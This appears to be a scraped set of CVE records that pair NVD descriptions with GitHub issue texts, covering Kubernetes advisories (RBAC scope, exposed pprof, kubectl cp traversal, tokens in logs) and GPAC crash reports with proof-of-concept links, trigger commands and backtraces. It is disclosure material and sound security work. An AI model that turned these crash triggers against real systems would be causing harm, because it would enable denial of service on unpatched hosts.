mitigate, remove authorization rules that grant access to cluster-scoped resources within namespaces. For example, RBAC roles and clusterroles intended to be referenced by namespaced rolebindings should not grant access to `resources:[*], apiGroups:[*]`, or grant access to cluster-scoped custom resources. **Fixed versions:** Fixed in v1.13.9 by #80852 Fixed in v1.14.5 by #80851 Fixed in v1.15.2 by #80850 Fixed in master by #80750 **Fix impact:** Permission to the correct scope will be required to access cluster-scoped custom resources. **Acknowledgements:** This issue was discovered by Prabu Shyam of Verizon Media. Thanks to Stefan Schimanski for the fix, to David Eads for the fix review, and to the release managers for creating the security releases.

CVE-2019-11247: API server allows access to custom resources via wrong scope

https://api.github.com/repos/kubernetes/kubernetes/issues/80983/comments

2019-08-05T12:44:08Z

2022-05-16T21:58:20Z

https://github.com/kubernetes/kubernetes/issues/80983

CVE-2019-11248

2019-08-29T01:15:11.367

The debugging endpoint /debug/pprof is exposed over the unauthenticated Kubelet healthz port. The go pprof endpoint is exposed over the Kubelet's healthz port. This debugging endpoint can potentially leak sensitive information such as internal Kubelet memory addresses and configuration, or for limited denial of service. Versions prior to 1.15.0, 1.14.4, 1.13.8, and 1.12.10 are affected. The issue is of medium severity, but not exposed by the default configuration.

https://github.com/kubernetes/kubernetes/issues/81023

github.com

The debugging endpoint `/debug/pprof` is exposed over the unauthenticated Kubelet healthz port. Versions prior to 1.15.0, 1.14.4, 1.13.8, and 1.12.10 are affected. The issue is of medium severity, but not exposed by the default configuration. If you are exposed we recommend upgrading to at least one of the versions listed. **Am I vulnerable?** By default, the Kubelet exposes unauthenticated healthz endpoints on port :10248, but only over localhost. If your nodes are using a non-localhost healthzBindAddress (--health-bind-address), and an older version, you may be vulnerable. If your nodes are using the default localhost healthzBindAddress, it is only exposed to pods or processes running in the host network namespace. Run `kubectl get nodes` to see whether nodes are running a vulnerable version. Run `kubectl get --raw /api/v1/nodes/${NODE_NAME}/proxy/configz` to check whether the "healthzBindAddress" is non-local. **How do I mitigate the vulnerability?** * Upgrade to a patched version (1.15.0+, 1.14.4+, 1.13.8+, or 1.12.10+) * or, update node configurations to set the "healthzBindAddress" to "127.0.0.1". https://github.com/kubernetes/kubernetes/pull/79184 fixed in 1.12.10 https://github.com/kubernetes/kubernetes/pull/79183 fixed in 1.13.8 https://github.com/kubernetes/kubernetes/pull/79182 fixed in 1.14.4 https://github.com/kubernetes/kubernetes/pull/78313 fixed in 1.15.0 **Vulnerability Details** The `go pprof` endpoint is exposed over the Kubelet's healthz port. This debugging endpoint can potentially leak sensitive information such as internal Kubelet memory addresses and configuration, or for limited denial of service. Thanks to Jordan Zebor of F5 Networks for reporting this problem. /area security /close

CVE-2019-11248: /debug/pprof exposed on kubelet's healthz port

https://api.github.com/repos/kubernetes/kubernetes/issues/81023/comments

2019-08-06T14:34:33Z

2022-05-16T21:58:38Z

https://github.com/kubernetes/kubernetes/issues/81023

CVE-2019-11249

2019-08-29T01:15:11.443

The kubectl cp command allows copying files between containers and the user machine. To copy files from a container, Kubernetes runs tar inside the container to create a tar archive, copies it over the network, and kubectl unpacks it on the user’s machine. If the tar binary in the container is malicious, it could run any code and output unexpected, malicious results. An attacker could use this to write files to any path on the user’s machine when kubectl cp is called, limited only by the system permissions of the local user. Kubernetes affected versions include versions prior to 1.13.9, versions prior to 1.14.5, versions prior to 1.15.2, and versions 1.1, 1.2, 1.4, 1.4, 1.5, 1.6, 1.7, 1.8, 1.9, 1.10, 1.11, 1.12.

https://github.com/kubernetes/kubernetes/issues/80984

github.com

[CVSS:3.0/AV:N/AC:H/PR:L/UI:R/S:U/C:N/I:H/A:N](https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:N/AC:H/PR:L/UI:R/S:U/C:N/I:H/A:N) A third issue was discovered with the Kubernetes `kubectl cp` command that could enable a directory traversal such that a malicious container could replace or create files on a user’s workstation. The vulnerability is a client-side defect and requires user interaction to be exploited. **Vulnerable versions:** Kubernetes 1.0.x-1.12.x Kubernetes 1.13.0-1.13.8 Kubernetes 1.14.0-1.14.4 Kubernetes 1.15.0-1.15.1 **Vulnerable configurations:** All `kubectl` clients running a vulnerable version and using the `cp` operation. **Vulnerability impact:** A malicious user can potentially create or overwrite files outside of the destination directory of the `kubectl cp` operation. **Mitigations prior to upgrading:** Avoid using `kubectl cp` with any untrusted workloads. **Fixed versions:** Fixed in v1.13.9 by #80871 Fixed in v1.14.5 by #80870 Fixed in v1.15.2 by #80869 Fixed in master by #80436 **Fix impact:** The `kubectl cp` function is prevented from creating or modifying files outside the destination directory. **Acknowledgements:** This issue was discovered by Yang Yang of Amazon, who also provided a patch. Thanks also to the release managers for creating the security releases.

CVE-2019-11249: Incomplete fixes for CVE-2019-1002101 and CVE-2019-11246, kubectl cp potential directory traversal

https://api.github.com/repos/kubernetes/kubernetes/issues/80984/comments

2019-08-05T12:44:23Z

2022-05-16T21:57:50Z

https://github.com/kubernetes/kubernetes/issues/80984

CVE-2019-11250

2019-08-29T01:15:11.523

The Kubernetes client-go library logs request headers at verbosity levels of 7 or higher. This can disclose credentials to unauthorized users via logs or command output. Kubernetes components (such as kube-apiserver) prior to v1.16.0, which make use of basic or bearer token authentication, and run at high verbosity levels, are affected.

https://github.com/kubernetes/kubernetes/issues/81114

github.com

This issue was reported in the [Kubernetes Security Audit Report](https://github.com/kubernetes/community/blob/master/wg-security-audit/findings/Kubernetes%20Final%20Report.pdf) **Description** Kubernetes requires an authentication mechanism to enforce users’ privileges. One method of authentication, bearer tokens, are opaque strings used to associate a user with their having successfully authenticated previously. Any user with possession of this token may masquerade as the original user (the “bearer”) without further authentication. Within Kubernetes, the bearer token is captured within the hyperkube kube-apiserver system logs at high verbosity levels (--v 10). A malicious user with access to the system logs on such a system could masquerade as any user who has previously logged into the system. **Exploit Scenario** Alice logs into a Kubernetes cluster and is issued a Bearer token. The system logs her token. Eve, who has access to the logs but not the production Kubernetes cluster, replays Alice’s Bearer token, and can masquerade as Alice to the cluster. **Recommendation** Short term, remove the Bearer token from the log. Do not log any authentication credentials within the system, including tokens, private keys, or passwords that may be used to authenticate to the production Kubernetes cluster, regardless of the logging level. Long term, either implement policies that enforce code review to ensure that sensitive data is not exposed in logs, or implement logging filters that check for sensitive data and remove it prior to outputting the log. In either case, ensure that sensitive data cannot be trivially stored in logs. **Anything else we need to know?**: See #81146 for current status of all issues created from these findings. The vendor gave this issue an ID of TOB-K8S-001 and it was finding 6 of the report. The vendor considers this issue Medium Severity. To view the original finding, begin on page 31 of the [Kubernetes Security Review Report](https://github.com/kubernetes/community/blob/master/wg-security-audit/findings/Kubernetes%20Final%20Report.pdf) **Environment**: - Kubernetes version: 1.13.4

CVE-2019-11250: TOB-K8S-001: Bearer tokens are revealed in logs

https://api.github.com/repos/kubernetes/kubernetes/issues/81114/comments

2019-08-08T02:03:04Z

2023-09-21T12:52:47Z

https://github.com/kubernetes/kubernetes/issues/81114

CVE-2018-21015

2019-09-16T13:15:11.417

AVC_DuplicateConfig() at isomedia/avc_ext.c in GPAC 0.7.1 allows remote attackers to cause a denial of service (NULL pointer dereference and application crash) via a crafted file. There is "cfg_new->AVCLevelIndication = cfg->AVCLevelIndication;" but cfg could be NULL.

https://github.com/gpac/gpac/issues/1179

github.com

Tested in Ubuntu 18.04, 64bit, gcc 7.3.0, gpac (master 94ad872) Compile cmd `$ ./configure --extra-cflags=-g"` `$ make` Triggered by `$ MP4Box -diso $POC` POC file: https://github.com/Marsman1996/pocs/blob/master/gpac/poc12-SEGV gdb info: ``` Program received signal SIGSEGV, Segmentation fault. AVC_DuplicateConfig (cfg=0x0) at /home/ubuntu/Desktop/crashana/gpac/gpac-94ad872/src/isomedia/avc_ext.c:847 847 cfg_new->AVCLevelIndication = cfg->AVCLevelIndication; (gdb) bt #0 AVC_DuplicateConfig (cfg=0x0) at /home/ubuntu/Desktop/crashana/gpac/gpac-94ad872/src/isomedia/avc_ext.c:847 #1 0x00007ffff7856a5f in merge_avc_config (dst_cfg=dst_cfg@entry=0x5555557a8e00, src_cfg=<optimized out>) at /home/ubuntu/Desktop/crashana/gpac/gpac-94ad872/src/isomedia/avc_ext.c:897 #2 0x00007ffff7859ae9 in AVC_RewriteESDescriptorEx (avc=avc@entry=0x5555557a8850, mdia=mdia@entry=0x0) at /home/ubuntu/Desktop/crashana/gpac/gpac-94ad872/src/isomedia/avc_ext.c:1039 #3 0x00007ffff785a037 in AVC_RewriteESDescriptor (avc=avc@entry=0x5555557a8850) at /home/ubuntu/Desktop/crashana/gpac/gpac-94ad872/src/isomedia/avc_ext.c:1067 #4 0x00007ffff786bd1c in video_sample_entry_Read (s=0x5555557a8850, bs=0x5555557a7f70) at /home/ubuntu/Desktop/crashana/gpac/gpac-94ad872/src/isomedia/box_code_base.c:4291 #5 0x00007ffff7891fa7 in gf_isom_box_read (bs=0x5555557a7f70, a=0x5555557a8850) at /home/ubuntu/Desktop/crashana/gpac/gpac-94ad872/src/isomedia/box_funcs.c:1385 #6 gf_isom_box_parse_ex (outBox=0x7fffffff8af8, bs=0x5555557a7f70, parent_type=<optimized out>, is_root_box=<optimized out>) at /home/ubuntu/Desktop/crashana/gpac/gpac-94ad872/src/isomedia/box_funcs.c:199 #7 0x00007ffff789254d in gf_isom_box_array_read_ex (parent=0x5555557a8800, bs=0x5555557a7f70, add_box=0x7ffff7865140 <stsd_AddBox>, parent_type=1937011556) at /home/ubuntu/Desktop/crashana/gpac/gpac-94ad872/src/isomedia/box_funcs.c:1277 #8 0x00007ffff7891fa7 in gf_isom_box_read (bs=0x5555557a7f70, a=0x5555557a8800) at /home/ubuntu/Desktop/crashana/gpac/gpac-94ad872/src/isomedia/box_funcs.c:1385 #9 gf_isom_box_parse_ex (outBox=0x7fffffff8bf8, bs=0x5555557a7f70, parent_type=<optimized out>, is_root_box=<optimized out>) at /home/ubuntu/Desktop/crashana/gpac/gpac-94ad872/src/isomedia/box_funcs.c:199 #10 0x00007ffff789254d in gf_isom_box_array_read_ex (parent=parent@entry=0x5555557a8730, bs=0x5555557a7f70, add_box=add_box@entry=0x7ffff7863750 <stbl_AddBox>, parent_type=parent_type@entry=0) at /home/ubuntu/Desktop/crashana/gpac/gpac-94ad872/src/isomedia/box_funcs.c:1277 #11 0x00007ffff7892837 in gf_isom_box_array_read (parent=parent@entry=0x5555557a8730, bs=<optimized out>, add_box=add_box@entry=0x7ffff7863750 <stbl_AddBox>) at /home/ubuntu/Desktop/crashana/gpac/gpac-94ad872/src/isomedia/box_funcs.c:262 #12 0x00007ffff786d255 in stbl_Read (s=0x5555557a8730, bs=<optimized out>) at /home/ubuntu/Desktop/crashana/gpac/gpac-94ad872/src/isomedia/box_code_base.c:5183 #13 0x00007ffff7891fa7 in gf_isom_box_read (bs=0x5555557a7f70, a=0x5555557a8730) at /home/ubuntu/Desktop/crashana/gpac/gpac-94ad872/src/isomedia/box_funcs.c:1385 #14 gf_isom_box_parse_ex (outBox=0x7fffffff8d18, bs=0x5555557a7f70, parent_type=<optimized out>, is_root_box=<optimized out>) at /home/ubuntu/Desktop/crashana/gpac/gpac-94ad872/src/isomedia/box_funcs.c:199 #15 0x00007ffff789254d in gf_isom_box_array_read_ex (parent=parent@entry=0x5555557a8470, bs=0x5555557a7f70, add_box=add_box@entry=0x7ffff7863450 <minf_AddBox>, parent_type=parent_type@entry=0) at /home/ubuntu/Desktop/crashana/gpac/gpac-94ad872/src/isomedia/box_funcs.c:1277 #16 0x00007ffff7892837 in gf_isom_box_array_read (parent=parent@entry=0x5555557a8470, bs=<optimized out>, add_box=add_box@entry=0x7ffff7863450 <minf_AddBox>) at /home/ubuntu/Desktop/crashana/gpac/gpac-94ad872/src/isomedia/box_funcs.c:262 #17 0x00007ffff786acfb in minf_Read (s=0x5555557a8470, bs=<optimized out>) at /home/ubuntu/Desktop/crashana/gpac/gpac-94ad872/src/isomedia/box_code_base.c:3513 #18 0x00007ffff7891fa7 in gf_isom_box_read (bs=0x5555557a7f70, a=0x5555557a8470) at /home/ubuntu/Desktop/crashana/gpac/gpac-94ad872/src/isomedia/box_funcs.c:1385 #19 gf_isom_box_parse_ex (outBox=0x7fffffff8e58, bs=0x5555557a7f70, parent_type=<optimized out>, is_root_box=<optimized out>) at /home/ubuntu/Desktop/crashana/gpac/gpac-94ad872/src/isomedia/box_funcs.c:199 #20 0x00007ffff789254d in gf_isom_box_array_read_ex (parent=parent@entry=0x5555557a82c0, bs=0x5555557a7f70, add_box=add_box@entry=0x7ffff7863330 <mdia_AddBox>, parent_type=parent_type@entry=0) at /home/ubuntu/Desktop/crashana/gpac/gpac-94ad872/src/isomedia/box_funcs.c:1277 #21 0x00007ffff7892837 in gf_isom_box_array_read (parent=parent@entry=0x5555557a82c0, bs=<optimized out>, add_box=add_box@entry=0x7ffff7863330 <mdia_AddBox>) at /home/ubuntu/Desktop/crashana/gpac/gpac-94ad872/src/isomedia/box_funcs.c:262 #22 0x00007ffff786a090 in mdia_Read (s=0x5555557a82c0, bs=<optimized out>) at /home/ubuntu/Desktop/crashana/gpac/gpac-94ad872/src/isomedia/box_code_base.c:3034 #23 0x00007ffff7891fa7 in gf_isom_box_read (bs=0x5555557a7f70, a=0x5555557a82c0) at /home/ubuntu/Desktop/crashana/gpac/gpac-94ad872/src/isomedia/box_funcs.c:1385 #24 gf_isom_box_parse_ex (outBox=0x7fffffff8f68, bs=0x5555557a7f70, parent_type=<optimized out>, is_root_box=<optimized out>) ---Type <return> to continue, or q <return> to quit--- at /home/ubuntu/Desktop/crashana/gpac/gpac-94ad872/src/isomedia/box_funcs.c:199 #25 0x00007ffff789254d in gf_isom_box_array_read_ex (parent=parent@entry=0x5555557a8100, bs=0x5555557a7f70, add_box=add_box@entry=0x7ffff7863ec0 <trak_AddBox>, parent_type=parent_type@entry=0) at /home/ubuntu/Desktop/crashana/gpac/gpac-94ad872/src/isomedia/box_funcs.c:1277 #26 0x00007ffff7892837 in gf_isom_box_array_read (parent=parent@entry=0x5555557a8100, bs=<optimized out>, add_box=add_box@entry=0x7ffff7863ec0 <trak_AddBox>) at /home/ubuntu/Desktop/crashana/gpac/gpac-94ad872/src/isomedia/box_funcs.c:262 #27 0x00007ffff786fd1d in trak_Read (s=0x5555557a8100, bs=<optimized out>) at /home/ubuntu/Desktop/crashana/gpac/gpac-94ad872/src/isomedia/box_code_base.c:6905 #28 0x00007ffff7891fa7 in gf_isom_box_read (bs=0x5555557a7f70, a=0x5555557a8100) at /home/ubuntu/Desktop/crashana/gpac/gpac-94ad872/src/isomedia/box_funcs.c:1385 #29 gf_isom_box_parse_ex (outBox=0x7fffffff90c8, bs=0x5555557a7f70, parent_type=<optimized out>, is_root_box=<optimized out>) at /home/ubuntu/Desktop/crashana/gpac/gpac-94ad872/src/isomedia/box_funcs.c:199 #30 0x00007ffff789254d in gf_isom_box_array_read_ex (parent=parent@entry=0x5555557a7bf0, bs=bs@entry=0x5555557a7f70, add_box=0x7ffff7891be0 <gf_isom_box_add_default>, parent_type=parent_type@entry=0) at /home/ubuntu/Desktop/crashana/gpac/gpac-94ad872/src/isomedia/box_funcs.c:1277 #31 0x00007ffff7892837 in gf_isom_box_array_read (parent=parent@entry=0x5555557a7bf0, bs=bs@entry=0x5555557a7f70, add_box=<optimized out>) at /home/ubuntu/Desktop/crashana/gpac/gpac-94ad872/src/isomedia/box_funcs.c:262 #32 0x00007ffff7866a8a in unkn_Read (s=0x5555557a7bf0, bs=<optimized out>) at /home/ubuntu/Desktop/crashana/gpac/gpac-94ad872/src/isomedia/box_code_base.c:762 #33 0x00007ffff7892bc9 in gf_isom_box_read (bs=0x5555557a6a60, a=0x5555557a7bf0) at /home/ubuntu/Desktop/crashana/gpac/gpac-94ad872/src/isomedia/box_funcs.c:1385 #34 gf_isom_box_parse_ex (outBox=outBox@entry=0x7fffffff9280, bs=bs@entry=0x5555557a6a60, is_root_box=is_root_box@entry=GF_TRUE, parent_type=0) at /home/ubuntu/Desktop/crashana/gpac/gpac-94ad872/src/isomedia/box_funcs.c:199 #35 0x00007ffff7892fc5 in gf_isom_parse_root_box (outBox=outBox@entry=0x7fffffff9280, bs=0x5555557a6a60, bytesExpected=bytesExpected@entry=0x7fffffff92d0, progressive_mode=progressive_mode@entry=GF_FALSE) at /home/ubuntu/Desktop/crashana/gpac/gpac-94ad872/src/isomedia/box_funcs.c:42 #36 0x00007ffff789a20b in gf_isom_parse_movie_boxes (mov=mov@entry=0x5555557a68a0, bytesMissing=bytesMissing@entry=0x7fffffff92d0, progressive_mode=progressive_mode@entry=GF_FALSE) at /home/ubuntu/Desktop/crashana/gpac/gpac-94ad872/src/isomedia/isom_intern.c:206 #37 0x00007ffff789b048 in gf_isom_parse_movie_boxes (progressive_mode=GF_FALSE, bytesMissing=0x7fffffff92d0, mov=0x5555557a68a0) at /home/ubuntu/Desktop/crashana/gpac/gpac-94ad872/src/isomedia/isom_intern.c:194 #38 gf_isom_open_file (fileName=0x7fffffffe1a0 "../../poc12-SEGV", OpenMode=0, tmp_dir=0x0) at /home/ubuntu/Desktop/crashana/gpac/gpac-94ad872/src/isomedia/isom_intern.c:615 #39 0x000055555556f3bd in mp4boxMain (argc=<optimized out>, argv=<optimized out>) at /home/ubuntu/Desktop/crashana/gpac/gpac-94ad872/applications/mp4box/main.c:4539 #40 0x00007ffff7331b97 in __libc_start_main (main=0x555555561e30 <main>, argc=3, argv=0x7fffffffdd98, init=<optimized out>, fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7fffffffdd88) at ../csu/libc-start.c:310 #41 0x0000555555561e6a in _start () ```

SEGV in AVC_DuplicateConfig() at avc_ext.c:847

https://api.github.com/repos/gpac/gpac/issues/1179/comments

2018-12-15T06:54:00Z

2019-09-21T12:25:09Z

https://github.com/gpac/gpac/issues/1179

CVE-2018-21016

2019-09-16T13:15:11.510

audio_sample_entry_AddBox() at isomedia/box_code_base.c in GPAC 0.7.1 allows remote attackers to cause a denial of service (heap-based buffer over-read and application crash) via a crafted file.

https://github.com/gpac/gpac/issues/1180

github.com

Tested in Ubuntu 18.04, 64bit, gcc 7.3.0, gpac (master 94ad872) Compile cmd: `$ ./configure --extra-cflags="-fsanitize=address,undefined -g" --extra-ldflags="-fsanitize=address,undefined -ldl -g"` `$ make` Triggered by `$ MP4Box -diso $POC` POC file: https://github.com/Marsman1996/pocs/blob/master/gpac/poc14-heapoverflow ASAN info: ``` ==71438==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x603000000591 at pc 0x7ffa85321aff bp 0x7ffc13f5e4b0 sp 0x7ffc13f5e4a0 READ of size 1 at 0x603000000591 thread T0 #0 0x7ffa85321afe in audio_sample_entry_AddBox /home/ubuntu/Desktop/crashana/gpac/gpac-94ad872/src/isomedia/box_code_base.c:3934 #1 0x7ffa853f002c in gf_isom_box_array_read_ex /home/ubuntu/Desktop/crashana/gpac/gpac-94ad872/src/isomedia/box_funcs.c:1327 #2 0x7ffa8533c83b in audio_sample_entry_Read /home/ubuntu/Desktop/crashana/gpac/gpac-94ad872/src/isomedia/box_code_base.c:3999 #3 0x7ffa853ef142 in gf_isom_box_read /home/ubuntu/Desktop/crashana/gpac/gpac-94ad872/src/isomedia/box_funcs.c:1385 #4 0x7ffa853ef142 in gf_isom_box_parse_ex /home/ubuntu/Desktop/crashana/gpac/gpac-94ad872/src/isomedia/box_funcs.c:199 #5 0x7ffa853efec3 in gf_isom_box_array_read_ex /home/ubuntu/Desktop/crashana/gpac/gpac-94ad872/src/isomedia/box_funcs.c:1277 #6 0x7ffa85329db7 in unkn_Read /home/ubuntu/Desktop/crashana/gpac/gpac-94ad872/src/isomedia/box_code_base.c:762 #7 0x7ffa853ef142 in gf_isom_box_read /home/ubuntu/Desktop/crashana/gpac/gpac-94ad872/src/isomedia/box_funcs.c:1385 #8 0x7ffa853ef142 in gf_isom_box_parse_ex /home/ubuntu/Desktop/crashana/gpac/gpac-94ad872/src/isomedia/box_funcs.c:199 #9 0x7ffa853efec3 in gf_isom_box_array_read_ex /home/ubuntu/Desktop/crashana/gpac/gpac-94ad872/src/isomedia/box_funcs.c:1277 #10 0x7ffa853ef142 in gf_isom_box_read /home/ubuntu/Desktop/crashana/gpac/gpac-94ad872/src/isomedia/box_funcs.c:1385 #11 0x7ffa853ef142 in gf_isom_box_parse_ex /home/ubuntu/Desktop/crashana/gpac/gpac-94ad872/src/isomedia/box_funcs.c:199 #12 0x7ffa853efec3 in gf_isom_box_array_read_ex /home/ubuntu/Desktop/crashana/gpac/gpac-94ad872/src/isomedia/box_funcs.c:1277 #13 0x7ffa8533a0fc in minf_Read /home/ubuntu/Desktop/crashana/gpac/gpac-94ad872/src/isomedia/box_code_base.c:3513 #14 0x7ffa853ef142 in gf_isom_box_read /home/ubuntu/Desktop/crashana/gpac/gpac-94ad872/src/isomedia/box_funcs.c:1385 #15 0x7ffa853ef142 in gf_isom_box_parse_ex /home/ubuntu/Desktop/crashana/gpac/gpac-94ad872/src/isomedia/box_funcs.c:199 #16 0x7ffa853efec3 in gf_isom_box_array_read_ex /home/ubuntu/Desktop/crashana/gpac/gpac-94ad872/src/isomedia/box_funcs.c:1277 #17 0x7ffa853367f3 in mdia_Read /home/ubuntu/Desktop/crashana/gpac/gpac-94ad872/src/isomedia/box_code_base.c:3034 #18 0x7ffa853ef142 in gf_isom_box_read /home/ubuntu/Desktop/crashana/gpac/gpac-94ad872/src/isomedia/box_funcs.c:1385 #19 0x7ffa853ef142 in gf_isom_box_parse_ex /home/ubuntu/Desktop/crashana/gpac/gpac-94ad872/src/isomedia/box_funcs.c:199 #20 0x7ffa853efec3 in gf_isom_box_array_read_ex /home/ubuntu/Desktop/crashana/gpac/gpac-94ad872/src/isomedia/box_funcs.c:1277 #21 0x7ffa85354187 in trak_Read /home/ubuntu/Desktop/crashana/gpac/gpac-94ad872/src/isomedia/box_code_base.c:6905 #22 0x7ffa853ef142 in gf_isom_box_read /home/ubuntu/Desktop/crashana/gpac/gpac-94ad872/src/isomedia/box_funcs.c:1385 #23 0x7ffa853ef142 in gf_isom_box_parse_ex /home/ubuntu/Desktop/crashana/gpac/gpac-94ad872/src/isomedia/box_funcs.c:199 #24 0x7ffa853efec3 in gf_isom_box_array_read_ex /home/ubuntu/Desktop/crashana/gpac/gpac-94ad872/src/isomedia/box_funcs.c:1277 #25 0x7ffa85329db7 in unkn_Read /home/ubuntu/Desktop/crashana/gpac/gpac-94ad872/src/isomedia/box_code_base.c:762 #26 0x7ffa853f1363 in gf_isom_box_read /home/ubuntu/Desktop/crashana/gpac/gpac-94ad872/src/isomedia/box_funcs.c:1385 #27 0x7ffa853f1363 in gf_isom_box_parse_ex /home/ubuntu/Desktop/crashana/gpac/gpac-94ad872/src/isomedia/box_funcs.c:199 #28 0x7ffa853f20c5 in gf_isom_parse_root_box /home/ubuntu/Desktop/crashana/gpac/gpac-94ad872/src/isomedia/box_funcs.c:42 #29 0x7ffa8541e398 in gf_isom_parse_movie_boxes /home/ubuntu/Desktop/crashana/gpac/gpac-94ad872/src/isomedia/isom_intern.c:206 #30 0x7ffa854237a4 in gf_isom_open_file /home/ubuntu/Desktop/crashana/gpac/gpac-94ad872/src/isomedia/isom_intern.c:615 #31 0x55e7b46eb046 in mp4boxMain /home/ubuntu/Desktop/crashana/gpac/gpac-94ad872/applications/mp4box/main.c:4539 #32 0x7ffa822c6b96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96) #33 0x55e7b46ca199 in _start (/home/ubuntu/Desktop/crashana/gpac/gpac-94ad872/build_asan/bin/gcc/MP4Box+0xac199) 0x603000000591 is located 0 bytes to the right of 17-byte region [0x603000000580,0x603000000591) allocated by thread T0 here: #0 0x7ffa887fcb50 in __interceptor_malloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xdeb50) #1 0x7ffa85329a80 in unkn_Read /home/ubuntu/Desktop/crashana/gpac/gpac-94ad872/src/isomedia/box_code_base.c:742 SUMMARY: AddressSanitizer: heap-buffer-overflow /home/ubuntu/Desktop/crashana/gpac/gpac-94ad872/src/isomedia/box_code_base.c:3934 in audio_sample_entry_AddBox Shadow bytes around the buggy address: 0x0c067fff8060: fa fa 00 00 02 fa fa fa 00 00 05 fa fa fa 00 00 0x0c067fff8070: 04 fa fa fa 00 00 00 01 fa fa 00 00 06 fa fa fa 0x0c067fff8080: 00 00 01 fa fa fa 00 00 02 fa fa fa 00 00 00 01 0x0c067fff8090: fa fa 00 00 05 fa fa fa 00 00 04 fa fa fa 00 00 0x0c067fff80a0: 02 fa fa fa 00 00 04 fa fa fa 00 00 00 00 fa fa =>0x0c067fff80b0: 00 00[01]fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c067fff80c0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c067fff80d0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c067fff80e0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c067fff80f0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c067fff8100: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb ==71438==ABORTING ``` GDB info: ``` malloc_consolidate(): invalid chunk size Program received signal SIGABRT, Aborted. __GI_raise (sig=sig@entry=6) at ../sysdeps/unix/sysv/linux/raise.c:51 51 ../sysdeps/unix/sysv/linux/raise.c: No such file or directory. (gdb) bt #0 __GI_raise (sig=sig@entry=6) at ../sysdeps/unix/sysv/linux/raise.c:51 #1 0x00007ffff7350801 in __GI_abort () at abort.c:79 #2 0x00007ffff7399897 in __libc_message (action=action@entry=do_abort, fmt=fmt@entry=0x7ffff74c6b9a "%s\n") at ../sysdeps/posix/libc_fatal.c:181 #3 0x00007ffff73a090a in malloc_printerr (str=str@entry=0x7ffff74c83f0 "malloc_consolidate(): invalid chunk size") at malloc.c:5350 #4 0x00007ffff73a0bae in malloc_consolidate (av=av@entry=0x7ffff76fbc40 <main_arena>) at malloc.c:4441 #5 0x00007ffff73a47d8 in _int_malloc (av=av@entry=0x7ffff76fbc40 <main_arena>, bytes=bytes@entry=4096) at malloc.c:3703 #6 0x00007ffff73a70fc in __GI___libc_malloc (bytes=4096) at malloc.c:3057 #7 0x00007ffff738e18c in __GI__IO_file_doallocate (fp=0x5555557a6260) at filedoalloc.c:101 #8 0x00007ffff739e379 in __GI__IO_doallocbuf (fp=fp@entry=0x5555557a6260) at genops.c:365 #9 0x00007ffff739ad23 in _IO_new_file_seekoff (fp=0x5555557a6260, offset=0, dir=2, mode=<optimized out>) at fileops.c:960 #10 0x00007ffff7398dd9 in fseeko (fp=fp@entry=0x5555557a6260, offset=offset@entry=0, whence=whence@entry=2) at fseeko.c:36 #11 0x00007ffff77527c9 in gf_fseek (fp=fp@entry=0x5555557a6260, offset=offset@entry=0, whence=whence@entry=2) at /home/ubuntu/Desktop/crashana/gpac/gpac-94ad872/src/utils/os_file.c:756 #12 0x00007ffff7753323 in gf_bs_from_file (f=0x5555557a6260, mode=mode@entry=0) at /home/ubuntu/Desktop/crashana/gpac/gpac-94ad872/src/utils/bitstream.c:179 #13 0x00007ffff7894173 in gf_isom_fdm_new (sPath=<optimized out>, mode=<optimized out>) at /home/ubuntu/Desktop/crashana/gpac/gpac-94ad872/src/isomedia/data_map.c:453 #14 0x00007ffff7894400 in gf_isom_datamap_new (location=<optimized out>, location@entry=0x7fffffffe197 "../../poc14-heapoverflow", parentPath=parentPath@entry=0x0, mode=mode@entry=1 '\001', outDataMap=outDataMap@entry=0x5555557a68b0) at /home/ubuntu/Desktop/crashana/gpac/gpac-94ad872/src/isomedia/data_map.c:185 #15 0x00007ffff789cf66 in gf_isom_open_progressive (fileName=<optimized out>, start_range=0, end_range=0, the_file=0x5555557a5738 <file>, BytesMissing=0x7fffffff9390) at /home/ubuntu/Desktop/crashana/gpac/gpac-94ad872/src/isomedia/isom_read.c:367 #16 0x000055555556f48b in mp4boxMain (argc=<optimized out>, argv=<optimized out>) at /home/ubuntu/Desktop/crashana/gpac/gpac-94ad872/applications/mp4box/main.c:4542 #17 0x00007ffff7331b97 in __libc_start_main (main=0x555555561e30 <main>, argc=3, argv=0x7fffffffdd98, init=<optimized out>, fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7fffffffdd88) at ../csu/libc-start.c:310 #18 0x0000555555561e6a in _start () ```

AddressSanitizer: heap-buffer-overflow in audio_sample_entry_AddBox() at box_code_base.c:3934

https://api.github.com/repos/gpac/gpac/issues/1180/comments

2018-12-15T07:16:20Z

2019-09-21T07:29:30Z

https://github.com/gpac/gpac/issues/1180

CVE-2018-21017

2019-09-16T13:15:11.573

GPAC 0.7.1 has a memory leak in dinf_Read in isomedia/box_code_base.c.

https://github.com/gpac/gpac/issues/1183

github.com

